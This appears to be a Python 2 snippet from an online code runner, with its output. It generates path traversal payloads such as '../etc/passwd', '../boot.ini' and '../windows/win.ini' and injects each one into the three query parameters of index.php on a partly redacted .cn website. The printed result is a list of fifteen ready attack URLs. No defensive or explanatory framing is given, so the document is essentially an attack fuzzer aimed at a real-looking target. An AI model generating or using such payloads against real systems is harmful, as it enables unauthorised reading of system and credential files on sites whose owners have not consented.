payloads = ('../boot.ini','../etc/passwd','../windows/win.ini','../../boot.ini','../../etc/passwd') s1 = ['123']*5 s2 = ['456']*5 s3 = ['ooo']*5 a = zip(payloads, s2, s3) + zip(s1, payloads, s3) + zip(s1, s2, payloads) for item in a: x, y, z = item print ("http://w...content-available-to-author-only...e.cn/index.php?id=%s&abc=%s&xxx=%s" %(x,y,z))
Standard input is empty
http://w...content-available-to-author-only...e.cn/index.php?id=../boot.ini&abc=456&xxx=ooo http://w...content-available-to-author-only...e.cn/index.php?id=../etc/passwd&abc=456&xxx=ooo http://w...content-available-to-author-only...e.cn/index.php?id=../windows/win.ini&abc=456&xxx=ooo http://w...content-available-to-author-only...e.cn/index.php?id=../../boot.ini&abc=456&xxx=ooo http://w...content-available-to-author-only...e.cn/index.php?id=../../etc/passwd&abc=456&xxx=ooo http://w...content-available-to-author-only...e.cn/index.php?id=123&abc=../boot.ini&xxx=ooo http://w...content-available-to-author-only...e.cn/index.php?id=123&abc=../etc/passwd&xxx=ooo http://w...content-available-to-author-only...e.cn/index.php?id=123&abc=../windows/win.ini&xxx=ooo http://w...content-available-to-author-only...e.cn/index.php?id=123&abc=../../boot.ini&xxx=ooo http://w...content-available-to-author-only...e.cn/index.php?id=123&abc=../../etc/passwd&xxx=ooo http://w...content-available-to-author-only...e.cn/index.php?id=123&abc=456&xxx=../boot.ini http://w...content-available-to-author-only...e.cn/index.php?id=123&abc=456&xxx=../etc/passwd http://w...content-available-to-author-only...e.cn/index.php?id=123&abc=456&xxx=../windows/win.ini http://w...content-available-to-author-only...e.cn/index.php?id=123&abc=456&xxx=../../boot.ini http://w...content-available-to-author-only...e.cn/index.php?id=123&abc=456&xxx=../../etc/passwd